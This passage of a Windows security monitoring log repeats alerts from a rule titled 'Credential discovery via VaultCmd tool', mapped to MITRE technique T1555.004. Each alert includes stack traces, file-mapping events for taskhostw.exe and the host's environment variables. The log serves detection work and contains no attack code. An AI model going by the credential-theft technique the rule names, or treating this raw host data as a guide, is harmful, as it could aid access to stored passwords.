DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps; ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-03T22:58:43+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: 0xfffff802c1309ef4 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c1256899 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff802c13111a6 C:\WINDOWS\system32\ntoskrnl.exe!PsGetThreadServerSilo+0x576|0xfffff802544e6d24 C:\WINDOWS\System32\drivers\fileinfo.sys!?|0xfffff80252c382cf C:\WINDOWS\System32\drivers\FLTMGR.SYS!FltPerformSynchronousIo+0x12df|0xfffff80252c379b0 C:\WINDOWS\System32\drivers\FLTMGR.SYS!FltPerformSynchronousIo+0x9c0|0xfffff80252ca7d00 C:\WINDOWS\System32\drivers\FLTMGR.SYS!FltAllocateFileLock+0x1c30|0xfffff802c135d3ed C:\WINDOWS\system32\ntoskrnl.exe!IofCallDriver+0xcd|0xfffff802c185f8d5 C:\WINDOWS\system32\ntoskrnl.exe!ObOpenObjectByNameEx+0x44a5|0xfffff802c185d800 C:\WINDOWS\system32\ntoskrnl.exe!ObOpenObjectByNameEx+0x23d0|0xfffff802c185b631 C:\WINDOWS\system32\ntoskrnl.exe!ObOpenObjectByNameEx+0x201|0xfffff802c18ee9aa C:\WINDOWS\system32\ntoskrnl.exe!NtCreateFile+0x50a|0xfffff802c18ee488 C:\WINDOWS\system32\ntoskrnl.exe!NtOpenFile+0x58|0xfffff802c16b3055 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9265|0x7ffb77ea3894 C:\Windows\System32\ntdll.dll!ZwOpenFile|0x7ffb7508d7e5 C:\Windows\System32\KernelBase.dll!FindFirstFileExW|0x7ffb7508d598 C:\Windows\System32\KernelBase.dll!FindFirstFileW|0x7ffb74edaf13 C:\Windows\System32\crypt32.dll!I_CryptReadTrustedPublisherDWORDValueFromRegistry|0x7ffb74f1ef2c C:\Windows\System32\crypt32.dll!CertAddSerializedElementToStore|0x7ffb74f2095f C:\Windows\System32\crypt32.dll!CertEnumCertificatesInStore|0x7ffb74ed5aca C:\Windows\System32\crypt32.dll!CertDeleteCertificateFromStore|0x7ffb74f2c7c6 C:\Windows\System32\crypt32.dll!CertOpenStore|0x7ffb74f2c15c C:\Windows\System32\crypt32.dll!CryptFreeOIDFunctionAddress|0x7ffb74ed698e C:\Windows\System32\crypt32.dll!CertDeleteCertificateFromStore|0x7ffb74ed7ff0 C:\Windows\System32\crypt32.dll!CertDeleteCertificateFromStore|0x7ffb74f2c7c6 C:\Windows\System32\crypt32.dll!CertOpenStore|0x7ffb6e738bdb C:\Windows\System32\dsreg.dll!DsrIsDeviceJoined|0x7ffb6e737c1a C:\Windows\System32\dsreg.dll!DsrIsDeviceJoined|0x7ffb6e73858e C:\Windows\System32\dsreg.dll!DsrIsDeviceJoined|0x7ffb6e73a32e C:\Windows\System32\dsreg.dll!DsrGetJoinInfoEx|0x7ffb6e73a047 C:\Windows\System32\dsreg.dll!DsrGetJoinInfo|0x7ffb541cbc07 C:\Windows\System32\dcntel.dll!GetCensusPropertyAlloc|0x7ffb541cba74 C:\Windows\System32\dcntel.dll!GetCensusPropertyAlloc|0x7ffb541cc754 C:\Windows\System32\dcntel.dll!GetCensusPropertyAlloc|0x7ffb541b1d95 C:\Windows\System32\dcntel.dll!?|0x7ffb541b808c C:\Windows\System32\dcntel.dll!GetCensusPropertyAlloc|0x7ffb54969e74 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb5496a097 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54968991 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54968533 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54967d39 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54968a8f C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb549687fe C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb5496a68c C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54960ee1 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54965ae0 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb549616ee C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54963dd9 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54d1af22 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d18027 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d133cc C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d13232 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d16df7 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d0610f C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d06ea5 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d194f7 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d1a528 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d11534 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d1149b C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54cfbd33 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d2db16 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d30a04 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d30b68 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb773ce8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffb77d48d9c C:\Windows\System32\ntdll.dll!RtlUserThreadStart + Event(s): + Seq: 391593 + Pid: 6700 + Tid: 8424 + Type: MapViewFile + CPU: 7 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 22:58:28.2826936 +0100 CET + Params: file_key➜ ffff808cc4310700, file_path➜ , offset➜ 12288, pid➜ 6700, protection➜ EXECUTE_READWRITE|READONLY, section_type➜ IMAGE, view_base➜ 7ffb6cb00000, view_size➜ 167936 + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0006/, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.004, technique.id: T1555, subtechnique.name: Windows Credential Manager, tactic.name: Credential Access, tactic.id: TA0006 + + Pid: 6700 + Ppid: 2028 + Name: taskhostw.exe + Parent name: svchost.exe + Cmdline: taskhostw.exe + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k netsvcs -p -s Schedule + Exe: C:\WINDOWS\System32\taskhostw.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [taskhostw.exe] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps; ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-03T22:58:43+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: 0xfffff802c1309ef4 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c1256899 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff802c13111a6 C:\WINDOWS\system32\ntoskrnl.exe!PsGetThreadServerSilo+0x576|0xfffff802544e6d24 C:\WINDOWS\System32\drivers\fileinfo.sys!?|0xfffff80252c382cf C:\WINDOWS\System32\drivers\FLTMGR.SYS!FltPerformSynchronousIo+0x12df|0xfffff80252c379b0 C:\WINDOWS\System32\drivers\FLTMGR.SYS!FltPerformSynchronousIo+0x9c0|0xfffff80252ca7d00 C:\WINDOWS\System32\drivers\FLTMGR.SYS!FltAllocateFileLock+0x1c30|0xfffff802c135d3ed C:\WINDOWS\system32\ntoskrnl.exe!IofCallDriver+0xcd|0xfffff802c185f8d5 C:\WINDOWS\system32\ntoskrnl.exe!ObOpenObjectByNameEx+0x44a5|0xfffff802c185d800 C:\WINDOWS\system32\ntoskrnl.exe!ObOpenObjectByNameEx+0x23d0|0xfffff802c185b631 C:\WINDOWS\system32\ntoskrnl.exe!ObOpenObjectByNameEx+0x201|0xfffff802c18ee9aa C:\WINDOWS\system32\ntoskrnl.exe!NtCreateFile+0x50a|0xfffff802c18ee488 C:\WINDOWS\system32\ntoskrnl.exe!NtOpenFile+0x58|0xfffff802c16b3055 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9265|0x7ffb77ea3894 C:\Windows\System32\ntdll.dll!ZwOpenFile|0x7ffb7508d7e5 C:\Windows\System32\KernelBase.dll!FindFirstFileExW|0x7ffb7508d598 C:\Windows\System32\KernelBase.dll!FindFirstFileW|0x7ffb74edaf13 C:\Windows\System32\crypt32.dll!I_CryptReadTrustedPublisherDWORDValueFromRegistry|0x7ffb74f1ef2c C:\Windows\System32\crypt32.dll!CertAddSerializedElementToStore|0x7ffb74f2095f C:\Windows\System32\crypt32.dll!CertEnumCertificatesInStore|0x7ffb74ed5aca C:\Windows\System32\crypt32.dll!CertDeleteCertificateFromStore|0x7ffb74f2c7c6 C:\Windows\System32\crypt32.dll!CertOpenStore|0x7ffb74f2c15c C:\Windows\System32\crypt32.dll!CryptFreeOIDFunctionAddress|0x7ffb74ed698e C:\Windows\System32\crypt32.dll!CertDeleteCertificateFromStore|0x7ffb74ed7ff0 C:\Windows\System32\crypt32.dll!CertDeleteCertificateFromStore|0x7ffb74f2c7c6 C:\Windows\System32\crypt32.dll!CertOpenStore|0x7ffb6e738bdb C:\Windows\System32\dsreg.dll!DsrIsDeviceJoined|0x7ffb6e737c1a C:\Windows\System32\dsreg.dll!DsrIsDeviceJoined|0x7ffb6e73858e C:\Windows\System32\dsreg.dll!DsrIsDeviceJoined|0x7ffb6e73a32e C:\Windows\System32\dsreg.dll!DsrGetJoinInfoEx|0x7ffb6e73a047 C:\Windows\System32\dsreg.dll!DsrGetJoinInfo|0x7ffb541cbc07 C:\Windows\System32\dcntel.dll!GetCensusPropertyAlloc|0x7ffb541cba74 C:\Windows\System32\dcntel.dll!GetCensusPropertyAlloc|0x7ffb541cc754 C:\Windows\System32\dcntel.dll!GetCensusPropertyAlloc|0x7ffb541b1d95 C:\Windows\System32\dcntel.dll!?|0x7ffb541b808c C:\Windows\System32\dcntel.dll!GetCensusPropertyAlloc|0x7ffb54969e74 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb5496a097 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54968991 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54968533 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54967d39 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54968a8f C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb549687fe C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb5496a68c C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54960ee1 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54965ae0 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb549616ee C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54963dd9 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54d1af22 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d18027 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d133cc C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d13232 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d16df7 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d0610f C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d06ea5 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d194f7 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d1a528 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d11534 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d1149b C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54cfbd33 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d2db16 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d30a04 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d30b68 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb773ce8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffb77d48d9c C:\Windows\System32\ntdll.dll!RtlUserThreadStart + Event(s): + Seq: 391606 + Pid: 6700 + Tid: 8424 + Type: MapViewFile + CPU: 5 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 22:58:28.2838296 +0100 CET + Params: file_key➜ ffff808cc2f72170, file_path➜ , offset➜ 16384, pid➜ 6700, protection➜ EXECUTE_READWRITE|READONLY, section_type➜ IMAGE, view_base➜ 7ffb6bd50000, view_size➜ 462848 + Metadata: rule.name: Credential discovery via VaultCmd tool, technique.id: T1555, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, tactic.name: Credential Access, subtechnique.id: T1555.004, tactic.id: TA0006, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.ref: https://attack.mitre.org/techniques/T1555/ + + Pid: 6700 + Ppid: 2028 + Name: taskhostw.exe + Parent name: svchost.exe + Cmdline: taskhostw.exe + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k netsvcs -p -s Schedule + Exe: C:\WINDOWS\System32\taskhostw.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [taskhostw.exe] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps; ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-03T22:58:43+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: 0xfffff802c1309ef4 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c1256899 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff802c13111a6 C:\WINDOWS\system32\ntoskrnl.exe!PsGetThreadServerSilo+0x576|0xfffff802544e6d24 C:\WINDOWS\System32\drivers\fileinfo.sys!?|0xfffff80252c382cf C:\WINDOWS\System32\drivers\FLTMGR.SYS!FltPerformSynchronousIo+0x12df|0xfffff80252c379b0 C:\WINDOWS\System32\drivers\FLTMGR.SYS!FltPerformSynchronousIo+0x9c0|0xfffff80252ca7d00 C:\WINDOWS\System32\drivers\FLTMGR.SYS!FltAllocateFileLock+0x1c30|0xfffff802c135d3ed C:\WINDOWS\system32\ntoskrnl.exe!IofCallDriver+0xcd|0xfffff802c185f8d5 C:\WINDOWS\system32\ntoskrnl.exe!ObOpenObjectByNameEx+0x44a5|0xfffff802c185d800 C:\WINDOWS\system32\ntoskrnl.exe!ObOpenObjectByNameEx+0x23d0|0xfffff802c185b631 C:\WINDOWS\system32\ntoskrnl.exe!ObOpenObjectByNameEx+0x201|0xfffff802c18ee9aa C:\WINDOWS\system32\ntoskrnl.exe!NtCreateFile+0x50a|0xfffff802c18ee488 C:\WINDOWS\system32\ntoskrnl.exe!NtOpenFile+0x58|0xfffff802c16b3055 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9265|0x7ffb77ea3894 C:\Windows\System32\ntdll.dll!ZwOpenFile|0x7ffb7508d7e5 C:\Windows\System32\KernelBase.dll!FindFirstFileExW|0x7ffb7508d598 C:\Windows\System32\KernelBase.dll!FindFirstFileW|0x7ffb74edaf13 C:\Windows\System32\crypt32.dll!I_CryptReadTrustedPublisherDWORDValueFromRegistry|0x7ffb74f1ef2c C:\Windows\System32\crypt32.dll!CertAddSerializedElementToStore|0x7ffb74f2095f C:\Windows\System32\crypt32.dll!CertEnumCertificatesInStore|0x7ffb74ed5aca C:\Windows\System32\crypt32.dll!CertDeleteCertificateFromStore|0x7ffb74f2c7c6 C:\Windows\System32\crypt32.dll!CertOpenStore|0x7ffb74f2c15c C:\Windows\System32\crypt32.dll!CryptFreeOIDFunctionAddress|0x7ffb74ed698e C:\Windows\System32\crypt32.dll!CertDeleteCertificateFromStore|0x7ffb74ed7ff0 C:\Windows\System32\crypt32.dll!CertDeleteCertificateFromStore|0x7ffb74f2c7c6 C:\Windows\System32\crypt32.dll!CertOpenStore|0x7ffb6e738bdb C:\Windows\System32\dsreg.dll!DsrIsDeviceJoined|0x7ffb6e737c1a C:\Windows\System32\dsreg.dll!DsrIsDeviceJoined|0x7ffb6e73858e C:\Windows\System32\dsreg.dll!DsrIsDeviceJoined|0x7ffb6e73a32e C:\Windows\System32\dsreg.dll!DsrGetJoinInfoEx|0x7ffb6e73a047 C:\Windows\System32\dsreg.dll!DsrGetJoinInfo|0x7ffb541cbc07 C:\Windows\System32\dcntel.dll!GetCensusPropertyAlloc|0x7ffb541cba74 C:\Windows\System32\dcntel.dll!GetCensusPropertyAlloc|0x7ffb541cc754 C:\Windows\System32\dcntel.dll!GetCensusPropertyAlloc|0x7ffb541b1d95 C:\Windows\System32\dcntel.dll!?|0x7ffb541b808c C:\Windows\System32\dcntel.dll!GetCensusPropertyAlloc|0x7ffb54969e74 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb5496a097 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54968991 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54968533 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54967d39 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54968a8f C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb549687fe C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb5496a68c C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54960ee1 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54965ae0 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb549616ee C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54963dd9 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54d1af22 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d18027 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d133cc C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d13232 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d16df7 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d0610f C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d06ea5 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d194f7 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d1a528 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d11534 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d1149b C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54cfbd33 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d2db16 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d30a04 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d30b68 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb773ce8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffb77d48d9c C:\Windows\System32\ntdll.dll!RtlUserThreadStart + Event(s): + Seq: 391622 + Pid: 6700 + Tid: 8424 + Type: MapViewFile + CPU: 5 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 22:58:28.284634 +0100 CET + Params: file_key➜ ffff808cc074ba80, file_path➜ , offset➜ 28672, pid➜ 6700, protection➜ EXECUTE_READWRITE|READONLY, section_type➜ IMAGE, view_base➜ 7ffb76540000, view_size➜ 995328 + Metadata: subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, tactic.id: TA0006, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.name: Credentials from Password Stores, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.name: Credential Access, technique.id: T1555, subtechnique.name: Windows Credential Manager, technique.ref: https://attack.mitre.org/techniques/T1555/ + + Pid: 6700 + Ppid: 2028 + Name: taskhostw.exe + Parent name: svchost.exe + Cmdline: taskhostw.exe + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k netsvcs -p -s Schedule + Exe: C:\WINDOWS\System32\taskhostw.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [taskhostw.exe] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 